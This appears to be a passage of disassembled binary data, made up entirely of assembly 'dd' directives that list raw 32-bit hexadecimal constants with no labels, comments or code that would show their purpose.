		dd 0E4479CAh, 7D479EFBh, 410BB086h, 80132C3Fh, 8658CCB1h
		dd 0F224D6h, 492B0EF5h,	0EF69F48Bh, 600A5A38h, 92027130h
		dd 0AE890073h, 0C47081B3h, 0AD306651h, 0D26388B5h, 7043128h
		dd 8003C531h, 0E9BE469h, 5B43E6F0h, 81A9C7CAh, 707D5092h
		dd 47609628h, 0E2EA6410h, 332837F0h, 0C53B10C9h, 4F011DF9h
		dd 22098256h, 0F0D478DBh, 6887032h, 0ED265E1h, 171E30B8h
		dd 0DD80D5CDh, 0DE01D624h, 0F05F0011h, 42C7BC1Dh, 0CC28A694h
		dd 0A2E83035h, 0BDC8A107h, 0A76038B3h, 18C42DE8h, 50CDAB96h
		dd 8F000793h, 12D748A9h, 0F2BC1378h, 0F255F876h, 0BD7900A3h
		dd 0D616D84Dh, 4F3B2FA4h, 14419240h, 2AE0AC03h,	811804AEh
		dd 85B83Dh, 0A3DCC4F4h,	3EC0145Dh, 417E10AFh, 115F94Ah
		dd 8802A06h, 926B46DEh,	0F80E2C1Fh, 20719E07h, 0C2E1BD03h
		dd 7640C774h, 775A2152h, 3FA9F0F1h, 0C918D360h,	0C564BC4Dh
		dd 83157258h, 6100DAD7h, 0F29D7CBEh, 0E30815Dh,	3D7177C7h
		dd 9C21C88Ch, 579D8301h, 0D527BFDEh, 66A509Fh, 98DD0DA5h
		dd 0EC3C1500h, 0FF4F7D1Bh, 573119C6h, 80030807h, 1B141721h
		dd 3FC76E3Ah, 4C80F9EFh, 21D65F25h, 8B0016F7h, 0DB6DDF75h
		dd 0B3542h, 0FF9C5DA0h,	86D8FCB2h, 0BEAE8F00h, 4AEE0971h
		dd 61CF00AFh, 0EAE350D6h, 0D4079A39h, 0F205C983h, 5525201Fh
		dd 7BAB596Ch, 7A57002Dh, 0AADF906Dh, 69004E07h,	705D8D93h
		dd 3FA06A0Ah, 7800DDC6h, 0AC0E59D1h, 280781FBh,	736865BDh
		dd 1CF484B0h, 620D02C6h, 956E4139h, 0E3E907C0h,	6744BE00h
		dd 384CCD04h, 0AE130066h, 50EA48C0h, 8CC20E1h, 1B214Ah
		dd 1D63132Eh, 0C97EE76Dh, 5818DC63h, 0A651DBD5h, 0F8AC0028h
		dd 52C2BE33h, 20DF8955h, 80642008h, 0A5BCDBB2h,	0B01F313Bh
		dd 1344A9FBh, 45406321h, 439A3DEFh, 0B00077E2h,	8A5A0BBAh
		dd 0C0D76970h, 3F35F371h, 0A1000814h, 0DD77BDC7h, 55EFEEh
		dd 3103AC83h, 1352D9A9h, 0FE87A300h, 19B9B42Bh,	0E9991C3Fh
		dd 43660832h, 8C4C94h, 14F65B3Dh, 0C0574994h, 39AB3519h
		dd 471E5FE5h, 3B40742Ah, 0F6F4084Dh, 0D512003Ah, 53EA7341h
		dd 5260362Eh, 0A0F26C51h, 0FAE9018Ch, 2AD18AFFh, 8095D101h
		dd 0A00AA621h, 0B043601Ah, 44908490h, 0DA00D77Eh, 0CBDF1807h
		dd 176C621h, 7F1E7764h,	0F86E59F7h, 53024396h, 56FC8D18h
		dd 9C08765h, 90196144h,	50F91833h, 5412F7A0h, 887A4801h
		dd 0A0581191h, 7F840778h, 64104BBDh, 0D3454Eh, 0E121A38Ah
		dd 0D75899FBh, 60BCD0F9h, 1FC4F254h, 5E780F00h,	8D887B07h
		dd 0D5BE0102h, 0AB1C6936h, 0FFBBD051h, 0BD34EF48h, 62E530F6h
		dd 6F4A5900h, 60116448h, 14E00301h, 941C5790h, 132E823h
		dd 0E980A0FEh, 94BC581Ah, 7169288h, 93D64FA0h, 404983B7h
		dd 3301711Ch, 6B19DD00h, 18CF38E2h, 14943DA7h, 0A154CB7h
		dd 0D4D3BBh, 66A6AEADh
		dd 0E57DF01h, 3C8F78E0h, 5B21F98Ch, 0D4A6D506h,	2C795020h
		dd 17BBAB8h, 0DA2CC99Dh, 2060BEF9h, 0D16D3F69h,	8DD28380h
		dd 0D301434Ah, 16D62B19h, 0FFCDCD51h, 58506EF1h, 24E772h
		dd 6856F1B1h, 0CE6352DEh, 0C69831C0h, 3CC3D1D8h, 159F017Ch
		dd 0F19869BCh, 1C521899h, 4420B5C3h, 0DC6E05h, 0CA94D258h
		dd 32AF00BFh, 10645C70h, 141AB730h, 4402699h, 0AB600B9Ch
		dd 12365A6h, 0C511D7h, 8BA6D64Eh, 1AAA334Fh, 894BA5F0h
		dd 7F80B0B7h, 1B3D061Eh, 5C695042h, 9D0B0124h, 96386E51h
		dd 0C2360E0h, 3360430Ah, 46745C4Bh, 800079C1h, 3867A7C3h
		dd 30E3CF07h, 0DB918720h, 0D200B5C5h, 0A20E35B3h, 29BF74h
		dd 1FEA0A43h, 3A5BA4C3h, 7BD6CE0Ah, 8C0154E1h, 9A5AF20Fh
		dd 4363B042h, 7EDA384h,	0F841E21h, 11A357FCh, 2215D56Eh
		dd 0DA7B0C74h, 60BB29F1h, 0E782A99Ch, 9300A2C7h, 20C2530Ah
		dd 97763CDh, 10698932h,	0C188202Ch, 0FB1028Ch, 6F525AF9h
		dd 2310E919h, 642D0FA9h, 48E800C9h, 0E3592FD6h,	924944DCh
		dd 60B80058h, 412B5BFFh, 65FA58D1h, 10FB9728h, 8862C590h
		dd 0C1B16DA9h, 0E111FA1Ch, 8B2030F7h, 1113EA8Ch, 8850C0ADh
		dd 2F1A8065h, 0BB114913h, 8602D9DFh, 20E3E77Bh,	98AA66CCh
		dd 0E8C478A5h, 0FC2F7D60h, 8C40A73Eh, 0D0BD74BCh, 6068770Bh
		dd 7F3071C3h, 0BA00472Eh, 0F3DB6F64h, 54A946h, 0D40BA8ADh
		dd 0CD34124Ch, 0B1863Fh, 0BC0EE792h, 90974FB9h,	0C93F24DCh
		dd 7A465E7Ch, 8852FC01h, 0CCD3DB80h, 2CB121C8h,	352A4D01h
		dd 2CFCBF85h, 0D902002Fh, 0C86A9616h, 8711D8Fh,	65575109h
		dd 91D897EEh, 7D409D4Bh, 69F9A2DAh, 0EB98A8D9h,	6CCA00F0h
		dd 797A4F82h, 23026D45h, 4CB0942Ch, 32B44C16h, 0BFD2A6BAh
		dd 4F011067h, 6FD2A6C1h, 227E95F0h, 0B2FC8821h,	0B4C96800h
		dd 0FDA9B8C4h, 277D03D0h, 0E0F9590Dh, 0C87CCBECh, 20FAC095h
		dd 514DCB5Eh, 0C0148844h, 0E986A0F0h, 91012A21h, 88C0077h
		dd 923C82A0h, 8F3D31D3h, 806521BCh, 0BEA70B21h,	147708C8h
		dd 0BCF9FBCCh, 2A01B223h, 28C0BA13h, 2780C873h,	551D1332h
		dd 586E3B00h, 0D6A55601h, 0F8144CF1h, 708C93ECh, 3052E4D8h
		dd 4C19E597h, 0B407CAF8h, 1D437407h, 434DA402h,	0C45DBA14h
		dd 0AA64027Ch, 8711D58Ah, 0DEDB7B21h, 15111029h, 48B7514Bh
		dd 0D358CFC4h, 9D59197Bh, 4292049h, 65861600h, 0B52FFE91h
		dd 0AE623B04h, 8C8E7B22h, 18C08088h, 99BB59F4h,	5803B2Ch
		dd 2CEB575Ah, 0A00AD8Dh, 0BEB90E27h, 133479Dh, 0DB2815FAh
		dd 1552CF96h, 2C94D882h, 22846618h, 0E8989C5Dh,	0DB056070h
		dd 11D6197Fh, 0D4B17C02h, 79A48764h, 812143h, 0D2F84419h
		dd 25BCDD47h, 0AFD83D0Fh, 348800FEh, 5CEBE0B7h,	2444F09Fh
		dd 0B0422CF8h, 0FE465E54h, 6D1C3F05h, 22C81F55h, 676474FEh
		dd 0D4600850h, 1682CA6h, 0C7912848h, 0A6BC8D00h, 5694874Ah
		dd 9467813Dh, 8090BAF8h, 0D0FFBE95h, 0E2B0C1DEh, 63406F49h
		dd 30ECA274h, 1204D6BDh, 86CBC9B0h, 96886C8Eh, 0AC002C0h
		dd 4C645807h, 0FDE262C1h, 0E53C9C6Ah, 13A6EF42h, 71A051C9h
		dd 1A186Dh, 4FAB087Eh, 7C5DD7Ch, 78599029h, 0CA18EE71h
		dd 0F45E4814h, 39722A8h, 0C3F00126h, 0A7E87168h, 690B7730h
		dd 87415AE4h, 5B5E00h, 7BAB0E1Ch, 1151C0D4h, 28430D0h
		dd 3E38100h, 68A967ADh,	0B78C0605h, 61E9BB77h, 639B3800h
		dd 0BCF1798Eh, 1F64CADh, 8043701Eh, 0BAEE5EAEh,	75729AD8h
		dd 99877A00h, 662FA58h,	0D59B034Dh, 0F3695B26h,	0BCFB7900h
		dd 0EAAFE83Bh, 0D171C68h, 7E64406Ch, 534B45ECh,	90BCBE0Eh
		dd 3E098001h, 24ACB12Ch, 1588ADD3h, 0E707D042h,	20C81F71h
		dd 9C2EB621h, 0BA9B2801h, 7D35DD4Bh, 70565710h,	0F4A56800h
		dd 1132C423h, 0DB2505F8h, 818C2B07h, 3942D4B0h,	0CB1C0F50h
		dd 18CE2C84h, 2178840Ah, 0B9B1C400h, 0F64E3A82h, 8FBB2A0Eh
		dd 49FC90h, 0CF14AEAAh,	111B3FBFh, 203DFF03h, 0A13E90DCh
		dd 8442CEBCh, 3F8C8056h, 0B864665Dh, 3E8F000Ch,	28E52979h
		dd 0CE0CC699h, 7982219Ah, 0FB7F07A1h, 0C0657C23h, 4B1B3A3Fh
		dd 8571EE00h, 0E35538DAh, 474E0914h, 53823D09h,	9864BBABh
		dd 0FD2B6A00h, 0D91D2A17h, 6B4A00D8h, 0F4D1E1D7h, 39046350h
		dd 6278F588h, 0A70020B3h, 237D3702h, 0F300AB94h, 14A0A07h
		dd 0F22ED263h, 5B1B39CEh, 1558BAA6h, 0FE033894h, 0D0E273CFh
		dd 1152AC90h, 0FB84BF00h, 3494CCBDh, 435A001Bh,	937E1E8Dh
		dd 0E09B496h, 6821904Bh, 26D288h, 434569A9h, 7FCB64C5h
		dd 604DD804h, 7888BC24h, 0E162002Ah, 0DE9A5FCFh, 890042C7h
		dd 5E35E28Ah, 0C863F2h,	0D8ABE1F3h, 6E1ECEB3h, 6B78D101h
		dd 0BC281177h, 6601F432h, 0E6A5724h, 8C0D20D4h,	0DB6C5B00h
		dd 0B3352508h, 9434000Ah, 0A2C698ECh, 0F9128F5Fh, 6452D860h
		dd 0B2FDD200h, 90F43A12h, 0CF6903FAh, 0AE278E67h, 0AA0F300Ah
		dd 0FB609009h, 1A384B8h, 143E933Fh, 0E0737A2Dh,	7C0FCC29h
		dd 850B06F2h, 208D9766h, 7B9C4Ch, 6F5CD0D7h, 8DE918AEh
		dd 0A0285B00h, 0DA790C2h, 1EC1BDB4h, 0F1B0D7C4h, 68999805h
		dd 6300C29Eh, 88E1EEFBh, 2CC003ABh, 8F30264Eh, 574360D0h
		dd 6DA99060h, 62F9BFh, 76B45BD0h, 0AACEB191h, 0D47C362Ah
		dd 0DB986373h, 694FB703h, 0B8E3E415h, 0BAD147h,	0B1A159E9h
		dd 5AC8677h, 7913583Dh,	0DAA04364h, 884178C9h, 48326D23h
		dd 0D9991Eh, 87A8BB7Fh,	6C001C28h, 16C932C1h, 63BA8Ah
		dd 8771430h, 0BBF8D496h, 0F380A894h, 0E53FF77Dh, 8E2F0047h
		dd 22B79059h, 8C768B50h, 0ED953500h, 0F22E5ED4h, 52C7D3Dh
		dd 0E6972DA2h, 0B6904364h, 0B00087F4h, 0F5B03162h, 0D1B442h
		dd 0CC5EB984h, 0C59B3AA5h, 0C014495Ch, 32CA4116h, 21D30081h
		dd 22CEC7DFh, 0B600B3B4h, 0F0DCD70Fh, 2A6E2A52h, 1C6CACh
		dd 177577B2h, 375FB503h, 25DE7F18h, 1D66156Ch, 41EADFCFh
		dd 7BAC9950h, 0AE9050F0h, 0B798688Dh, 200C6900h, 887DBB4Bh
		dd 57FE000Bh, 404D638Fh, 115A2A23h, 0C680B400h,	78BAA2D8h
		dd 0B18B0425h, 80EE2D20h, 1199CE68h, 0C280A899h, 0C85A3F3Ah
		dd 0D7300048h, 7B8391F7h, 20004E99h, 0A7297F6Ch, 18B0D8F4h
		dd 395B4967h, 0A30B9A14h, 0C3BE965h, 9436586Eh,	968980C0h
		dd 0C49D2B64h, 0A5A15Ch, 111095A9h, 0F23958FAh,	81BB2A03h
		dd 0D9E3098Ch, 85806B99h, 0E9F3C255h, 60D49A4Ch, 384EC9B0h
		dd 96BA30D0h, 0AFF81931h, 67DFC802h, 5236BF72h,	0E5CE0030h
		dd 97D2C6D8h, 0B71C4BF0h, 0AE84FC74h, 0C040DB60h, 91EEE1EBh
		dd 9DA6F400h, 47414E1Dh, 28187384h, 0F6E42D34h,	0F679013Fh
		dd 0D0970FF2h, 0FAF9806Ah, 9EA25A8Bh, 0FD3A3F80h, 9300F8CCh
		dd 2EAB3FBCh, 7902CA05h, 0E15BC30Bh, 1C6684h, 0C8BC6CBEh
		dd 0EC1492D2h, 0EE223816h, 4E2AFF00h, 68002C4h,	548F460Bh
		dd 0A90F36B7h, 0E00F6F92h, 21CB755Bh, 7E9C17Fh,	0F84D2E3Dh
		dd 0F1004425h, 533EB30Ch, 0B547A9Ch, 0E4BCD8Ah,	0ACAB4080h
		dd 5A60496Eh, 0BE1169C1h, 8F2C12D8h, 9EEC2021h,	0F800A784h
		dd 0C9BAD336h, 0F36FE8h, 180AD639h, 43FAA332h, 69261B14h
		dd 1D8D0068h, 65FD580h,	25700B1h, 436892E9h, 0CE253D10h
		dd 0BC1085A8h, 2177DC20h, 0AE3803EDh, 0E29915DFh, 0DC14C1ACh
		dd 0F68BD1ABh, 0DF0E94C8h
		dd 1043D22Ch, 0BDE33360h, 9EEC3B64h, 0E9AED009h, 66FA0498h
		dd 0F5446103h, 0C0B8AB7Ch, 0EE373E6Bh, 461700F1h, 2B04F713h
		dd 5D4AFE97h, 945AD044h, 19497840h, 7C1B4483h, 25B8B0CEh
		dd 0CCA00ADAh, 6BC891D1h, 0BD444014h, 0DEEE0068h, 0E6869274h
		dd 97B31338h, 22C2507h,	7BD41174h, 4D008CDAh, 0BE598F1Bh
		dd 0B4DA76h, 3D212B20h,	6D9C16B3h, 0D1CC3900h, 0FFB08F6Ch
		dd 442C4C4Ch, 0A8269601h, 29BB6807h, 80803ADCh,	739C0B1Fh
		dd 1ACA3C1h, 5042C3F1h,	945966ABh, 2C828E38h, 0CB40F043h
		dd 0E7398DFFh, 0FA62F0E8h, 8FB09E5Bh, 3D473BABh, 58EC979h
		dd 8E4D009Eh, 40A2B0A4h, 0D97CDA01h, 0DB7E6B58h, 0D5090022h
		dd 0EC646542h, 1B3E10E9h, 0A2AC06F3h, 194849BFh, 4DD73F00h
		dd 767D1D93h, 6FD40058h, 153E9CD0h, 279752Ch, 28520F28h
		dd 10959327h, 1A8E98Ch,	23335479h, 4844D68Fh, 0D90036B4h
		dd 0C4FE3C85h, 1D4027C8h, 13096BF3h, 0BBF4D258h, 15D558E0h
		dd 49516963h, 0F3410075h, 0D1DC6C05h, 457C7964h, 0D5A32F12h
		dd 0C004C53h, 52EAC9C5h, 518A6056h, 42FDD66Dh, 0B3B39728h
		dd 0A8C22009h, 870C10BBh, 92A00FCh, 0D13CE034h,	5B0117B4h
		dd 1EB15143h, 0A4336218h, 7A4EE100h, 0C60CC0DAh, 7840445Eh
		dd 0AC051D64h, 0B9E31ED1h, 0FEBF1DF5h, 3DA3680h, 2A3E2E7Eh
		dd 2CFF7A13h, 6C42CC8Dh, 0D38621CEh, 38D8487Bh,	0CF2C101Eh
		dd 0BD15B3C0h, 985517DAh, 0AEE80038h, 450E88F9h, 36371B01h
		dd 0AC40518Ah, 3E56B261h, 0EC80A2C4h, 17BBEA96h, 34B29C80h
		dd 237F9A02h, 723695CCh, 0B5D30060h, 0C66DA78Bh, 9277E3E5h
		dd 0E7454100h, 766BB33h, 0BE2E01A9h, 976502B7h,	0CFE848D1h
		dd 0CC0B148h, 0C995BB8Bh, 48EA3C23h, 1C0E532Ch,	7C2027D4h
		dd 8C43960Ah, 3D62E8DFh, 0A2832D90h, 70BDBAE0h,	0E61928E8h
		dd 0CBB5E8E3h, 2036FC2Dh, 0DDD4E780h, 5E0800DEh, 42310566h
		dd 8C000CF5h, 0B7B273D1h, 0B60AD4F0h, 0D04994A4h, 2B0B6D80h
		dd 0BB007AC0h, 0CE4EC91h, 0C53C48h, 0CFB06525h,	9FA20487h
		dd 0BC144E02h, 4C1CD401h, 88B44A70h, 8426F870h,	8A054146h
		dd 0A88170F4h, 0D8D065B1h, 853500D3h, 79AB2299h, 7852D625h
		dd 0B8CE1424h, 0C9B90BC4h, 79748389h, 400A922Ch, 9E12E99h
		dd 5B52C4A2h, 0B9BB6010h, 0B4263428h, 0A033772Ch, 0ADF4CC60h
		dd 0D9DE00C0h, 0ACF86F52h, 7E1112BDh, 2B1704DAh, 84E86087h
		dd 6E790965h, 716788h, 3A7A954Bh, 0B6AF4D15h, 0C22B1700h
		dd 0E6CF6CC8h, 85D1016Dh, 4F9EA01Dh, 7C79C2D5h,	4D030429h
		dd 0A8B39C4Ah, 2202159h, 32FEE3C5h, 0F4D142F3h,	5453231Fh
		dd 1115F900h, 0F4F078FBh, 0C7DC0038h, 0D54179FDh, 940057C5h
		dd 0BBBE7CEh, 13536D83h, 93BC5510h, 86C05174h, 25009666h
		dd 68B8998Ah, 0F2D02F81h, 586D2895h, 0D5DE4480h, 80400E48h
		dd 0AB3DF3BAh, 0CC1917B6h, 0D4941E99h, 500CCC3h, 3E68B396h
		dd 0FE0794A6h, 99186563h, 0C0F6A11h, 717028E0h,	433F1959h
		dd 405CF956h, 5038CFD0h, 3678B500h, 417DE232h, 42920739h
		dd 31797A55h, 0A7B284B1h, 0A9081058h, 0ED0B0022h, 0F2D0A390h
		dd 6E7A51A5h, 0C2B34B09h, 41F448BCh, 73DF0E38h,	0C60040E7h
		dd 96CF7713h, 0E1F58002h, 0E08BC79Ch, 1ECC6687h, 9E305275h
		dd 0C95782D0h, 4C4B2B2Dh, 6EFE69D0h, 98008CA4h,	45040950h
		dd 799C503h, 7CB4B634h,	60888115h, 29BBDDh, 6D44F59Ah
		dd 58FF4614h, 600958CAh, 646A9513h, 0C776AE84h,	16D532B0h
		dd 220DC872h, 0C9F8BC2Eh, 3E4A0FF4h, 0A6800B06h, 4D3DFA9Ah
		dd 84052C8Ch, 38079CF0h, 27003CE2h, 57CE5B33h, 150A4770h
		dd 0DB242A96h, 0FE8B8031h, 97DD7EE8h, 9176011h,	273E9440h
		dd 70915832h, 43F85300h, 0BAD8AEBEh, 0B9D05104h, 0C4809936h
		dd 0D23CE4h, 0EEE689F3h, 0F41B49F5h, 5F0CFA78h,	61D57BBEh
		dd 558701B7h, 0A54566E9h, 2607D476h, 0F5307100h, 203D1718h
		dd 298A009Fh, 21C41A8Bh, 432C80C7h, 0A42DC59h, 0E034E0F3h
		dd 7DAB0060h, 0C5790B97h, 0A01EED02h, 6B1B96F2h, 0BC53F8B8h
		dd 8739C09Bh, 80016CD5h, 0B52DCC00h, 3E7C5974h,	0CA610179h
		dd 15AC87D9h, 753872BAh, 0C4DB0A00h, 0B333F288h, 76A7F411h
		dd 196201BEh, 9EACB1A4h, 1C35D43Eh, 384078BEh, 93A631h
		dd 7D7C62EEh, 0EAB77844h, 0A755F000h, 0DEE0C090h, 9C9042h
		dd 5410A3CFh, 578C4FAh,	0C242FB60h, 168B9CCEh, 4527E17Bh
		dd 0A478D56Ch, 9C9149E4h, 6255E400h, 7712EBE3h,	7B97A42h
		dd 0C0C5B2B8h, 8F58C2F5h, 0C8839081h, 8A9DFCB4h, 0F31139h
		dd 0B89BAB65h, 96BF8C33h, 0F8674014h, 190345F6h, 0B2704052h
		dd 0D39003B1h, 2D16AC80h, 2260D9C1h, 80933F30h,	5E4882Eh
		dd 0E80D2F76h, 59010677h, 0A9F57E02h, 97645809h, 1D2866E4h
		dd 0F8CFAEh, 620118D4h,	0DF04D82Fh, 60F9ADFFh, 0F623B088h
		dd 839E0FE6h, 2092BA0Eh, 9CBB6554h, 7C1E900h, 0D684DB93h
		dd 26D5E06h, 0A943A42Ch, 100038E6h, 41ED150Ah, 1EADD7B9h
		dd 949714C7h, 89034875h, 0D67BB8B4h, 70EF6100h,	75720523h
		dd 0E268048Ah, 80DEEE1Fh, 0E1E77EECh, 648488h, 0A63DFF19h
		dd 11D417F9h, 0B480E094h, 8CBEBAEEh, 80889469h,	219CC38Fh
		dd 0E1309FD2h, 325A6499h, 0F19450DCh, 0C0C5EAAFh, 0FA9042F4h
		dd 24EEDB62h, 5626D602h, 0D221AACFh, 8B72F8h, 0D0072D51h
		dd 5E40CC34h, 3C88F600h, 0B793FBCh, 8803505Fh, 20BB4C70h
		dd 1D87F480h, 557A05DCh, 8CA1E401h, 0C232EC8Ah,	24ED57C8h
		dd 0F60599Eh, 73A60Ah, 5EAF9514h, 627005D9h, 8496B2Ch
		dd 3DEF4420h, 0EC6903BCh, 0A04295B1h, 702A1BAh,	0CF1126D4h
		dd 99D83CB4h, 6E4F157Bh, 14FD8440h, 1CEDFAh, 77B15455h
		dd 78A49272h, 26D81E3Ah, 0C00C1FCCh, 0B5931E2h,	5A52D33Eh
		dd 9F279490h, 0F2393807h, 3B419EC6h, 91804E44h,	0F1BF45D3h
		dd 7973938Ah, 44E64927h, 5B940030h, 120A1C9Ch, 4101F05Ch
		dd 0A49D50FDh, 9C42011Eh, 68D173h, 46DC5433h, 3B002C1Ch
		dd 0B1D35CA9h, 0E6CC627Fh, 40209478h, 16C28DF7h, 11181E00h
		dd 0E3EC21B2h, 0F259160Ah, 7C027BAh, 681CF32Ah,	0AED02690h
		dd 7CFD6D00h, 423D2701h, 2728B049h, 0C44473BDh,	4B665B00h
		dd 0F5A5C3FFh, 0D29B0055h, 39F6DF78h, 9A0E4AC0h, 6F0D01FCh
		dd 43A6C0C6h, 5EB5068Dh, 0E313F04Fh, 8A517800h,	58C05654h
		dd 20634E43h, 0E02C4508h, 0D4A56095h, 4BB4BE14h, 0B0A2A468h
		dd 0F500ECB0h, 0C3B5D8B4h, 9CE252h, 809CB6Ch, 0D29570ACh
		dd 6E10A207h, 0AE908637h, 0E296097h, 51B9D984h,	0E1BE87C7h
		dd 809B5234h, 36FBA128h, 7B8B2617h, 0A80100E8h,	7F634FD1h
		dd 1990C03Bh, 5C2087EFh, 893733A0h, 1191DAF0h, 0EA7F0071h
		dd 0B75F8865h, 0FBF06F07h, 95D6350Ch, 4589B8h, 0A6DEBAD7h
		dd 71F46FA7h, 0C5384800h, 0BDCC6A1Ah, 26167C0Bh, 0E42362h
		dd 98C363CEh, 0B976E088h, 48A12B33h, 0A66498B4h, 20CCFD41h
		dd 0CF9A00DAh, 88BFF0Fh, 0E001813h, 63175426h, 60823661h
		dd 8E5981D7h, 5600E284h, 648BD424h, 2A1202h, 3B55E81h
		dd 343FA27Ah, 0D88E0806h, 7B39DF82h, 9B1E00F7h,	0CA25A4CFh
		dd 110044AFh, 4A8A0835h, 0A5BEB84h, 0B5989A80h,	4C3787A4h
		dd 86E75094h, 0AA00B479h, 8E21EF31h, 227820h, 91772A2h
		dd 0B983F9BDh, 4E6069C0h
		dd 1ED437Dh, 40AC7418h,	803668BAh, 0C75B06F9h, 0FA0A5FC9h
		dd 0EBAC33E1h, 79B69E39h, 0CE2962A0h, 2BB1961Dh, 0F1D8E5C7h
		dd 0C1C478E0h, 57595C5Bh, 31B99918h, 0F60013D2h, 34FD61CCh
		dd 11A92C0h, 0AFAB23Eh,	80A19E55h, 0A3649C29h, 1E806146h
		dd 3FF2991h, 0EB810173h, 0AAA22003h, 0C836AE07h, 70382B8h
		dd 3B97DA49h, 0A9A57685h, 0B1C0F50Eh, 813BFC87h, 0E2BC80A8h
		dd 2183A6B8h, 33C71A76h, 8065F13Bh, 392A3A27h, 700FDEF9h
		dd 55943B96h, 59C6038Ch, 9901DB29h, 0BF6DCCADh,	36C8C2F8h
		dd 0DF460058h, 0FA5F9EC1h, 6B4C7FE3h, 666A2E90h, 4E029904h
		dd 578E6480h, 0C0A7F034h, 4FF415E9h, 7B04E20Dh,	0D5411B2Bh
		dd 6F9109C0h, 0CA10E75h, 0F2601017h, 2D4D8F49h,	0D6823518h
		dd 0C0EEC1h, 7BA3CC1Eh,	5EE0DB4Ah, 87B21500h, 5D649A0Fh
		dd 50B8F83Ch, 49D8048h,	82D6F06Dh, 650E43B9h, 0D1D8B8C0h
		dd 3FCDEA8Ah, 5B852D68h, 30BFE0F4h, 59974894h, 0E1BE4300h
		dd 656D6035h, 22D3159Ah, 4A00C8ECh, 0E12B4E05h,	39D4A0EEh
		dd 0A46524E8h, 8106CE40h, 0CB31C0E6h, 0D33BE01Eh, 0EF5A8B01h
		dd 0B898F791h, 0A55B8C50h, 0C83700ACh, 0D81C2503h, 4F3B2312h
		dd 291EF481h, 0B40D102h, 6F174D90h, 0CAA70B3h, 7069B720h
		dd 7A06EE71h, 0BAA9E161h, 3AD03791h, 5FFA8C61h,	343720FCh
		dd 0B9C72125h, 38416DC6h, 96264926h, 1801F5Eh, 0C72D7792h
		dd 9C218022h, 142BD34Dh, 99CCEBE0h, 0FE770020h,	4AA45C18h
		dd 4E1952F2h, 0A0312CC8h, 1F53C2C4h, 1893C7BBh,	494E1931h
		dd 163AF400h, 86C4A0EDh, 1C2F03AFh, 34F1291Dh, 31A9B0D9h
		dd 0AD6400B0h, 2D09A666h, 10C62315h, 0DB0960h, 6EFFED07h
		dd 0B6575ABDh, 0FDE00502h, 6064FB97h, 1839587Ch, 0F1B399C6h
		dd 92EC9DA7h, 2EE3E702h, 80C71319h, 0D1A64558h,	3EC80730h
		dd 80F4D3C2h, 1B26EB62h, 0B3B83402h, 0A1FF9385h, 0FA0E9CA8h
		dd 0F60A01D4h, 2D8100D4h, 6B4DD56Fh, 5D4C3057h,	0AC43C90h
		dd 0C41ED3C6h, 29906F47h, 0F8F6E31Ch, 85F10151h, 7A21E7D7h
		dd 82804149h, 0EBF980BBh, 13206C2Eh, 985D4C26h,	93E915C0h
		dd 0E31F4D33h, 315C0D9Ch, 0A9213446h, 848E4869h, 0FE937B0Ch
		dd 7E281C79h, 1D3B86EDh, 0E4F08091h, 3101D43Bh,	949E1FABh
		dd 41BA98DFh, 7B00297Dh, 0AC2DEA0Dh, 0B16AB9C6h, 9A938610h
		dd 7B0359E8h, 0E62F8954h, 0C0339A4Bh, 8B8D2478h, 93743087h
		dd 5B60C77Ch, 0ABCA6741h, 7B8B2h, 89EF3319h, 0FDED4880h
		dd 0E3122D04h, 3C8CFB5Ch, 307C004Eh, 65A79D99h,	291CCBB9h
		dd 24024F95h, 64ADE0FCh, 0E10E0780h, 9CC7DB3h, 95010000h
		dd 3900834Ah, 1A97669Fh, 74601C51h, 0B2DE38D0h,	2AD2200h
		dd 0B83963BBh, 4FFBB700h, 3B1E62C6h, 24D7784Ch,	0B744E65h
		dd 9A8D342Fh, 30B1D5D9h, 0E2029970h, 81872090h,	0E5448095h
		dd 0F088678Eh, 0C5B84C1Bh, 252EDC0Eh, 2DE158EFh, 2070755Ch
		dd 0C630FB28h, 0EC50E94Ah, 115E000Bh, 7F4509EDh, 0FD02C33Dh
		dd 252CD795h, 0A46602h,	0D26FCA21h, 0E901BACFh,	8379F301h
		dd 0AB97B872h, 738FCD4h, 99B94E12h, 3CA80678h, 0ED1CD315h
		dd 85E10CDCh, 88378097h, 3B01DD2Bh, 1B57ABE4h, 7C206DC0h
		dd 0F08358F2h, 0A60818Eh, 0CC43D987h, 22C3C0C7h, 0AA38CD01h
		dd 0F7C41FECh, 1257074h, 18556FD7h, 7102BB2Dh, 0CE74F01Ch
		dd 4B01D300h, 126C17B4h, 0BE8229C9h, 2AB800E0h,	0F755C398h
		dd 17144A00h, 463F844Fh, 66E2C08h, 5AF128Ch, 1DCE07ECh
		dd 99EDC0E4h, 0A7DBE18Fh, 690649DFh, 0F4080ABEh, 0D6C8C02Fh
		dd 0C0359AB3h, 0CFF090E8h, 93C8350h, 75783203h,	0F89FB1DAh
		dd 5CE19744h, 998400B5h, 359240B9h, 3D4C9CC2h, 0B880A83Fh
		dd 1C5F31ACh, 61E8E402h, 2FC3548h, 0C1B8E1Ah, 0AEC44091h
		dd 0D110FF9Ah, 25036A72h, 1C867039h, 84A097E9h,	0D32E7666h
		dd 183410E1h, 0BA22304Ch, 0E6922600h, 0D7B0BF5Ah, 2E601217h
		dd 0BA4C0836h, 38209396h, 5FB555h, 0B36F612h, 1B604F30h
		dd 7976A02h, 410D7F20h,	6159BD4h, 948A714h, 0C88881E1h
		dd 8F3A0208h, 6EFBDCh, 0F4D5409Fh, 39A77413h, 845F0A02h
		dd 60012836h, 11EBA8Bh,	0CC956FB7h, 6129094Ch, 520F680h
		dd 1A4E97h, 0DC797D0Bh,	7A9AD2B6h, 0E3438900h, 5C171E36h
		dd 64384D8Eh, 0FDE1A380h, 0E0449A4Eh, 40AF0044h, 958C4529h
		dd 0CE391B9Bh, 1E89818Ah, 34C7B74Eh, 0B8036822h, 90793985h
		dd 0C4F44F80h, 0C1C36300h, 5710E16h, 7DD71D4Dh,	0C00BDD3Fh
		dd 0A535F50Ah, 543CF806h, 62210584h, 9C0024D6h,	1CD07DFAh
		dd 8089C0EEh, 0A3631A84h, 209E0E25h, 0C699D44Ch, 0B87D0038h
		dd 0EAFBC33Bh, 223D1B09h, 7FCEBBC0h, 0E6813894h, 8A42FA43h
		dd 8B6EB840h, 0F07B60C5h, 344EFBAEh, 3F843E57h,	6C5C79h
		dd 0DA4A6422h, 3A257167h, 0C8396034h, 75E959E0h, 47012A79h
		dd 9B1E11F4h, 4BF483A8h, 23CF0004h, 96A508DBh, 4E3CC6E1h
		dd 631B802Dh, 9A219ED5h, 0F60F026Bh, 551499BFh,	9D52E868h
		dd 0DABBB08Bh, 5CD12A9h, 8704786h, 3EC79332h, 0B9FA8100h
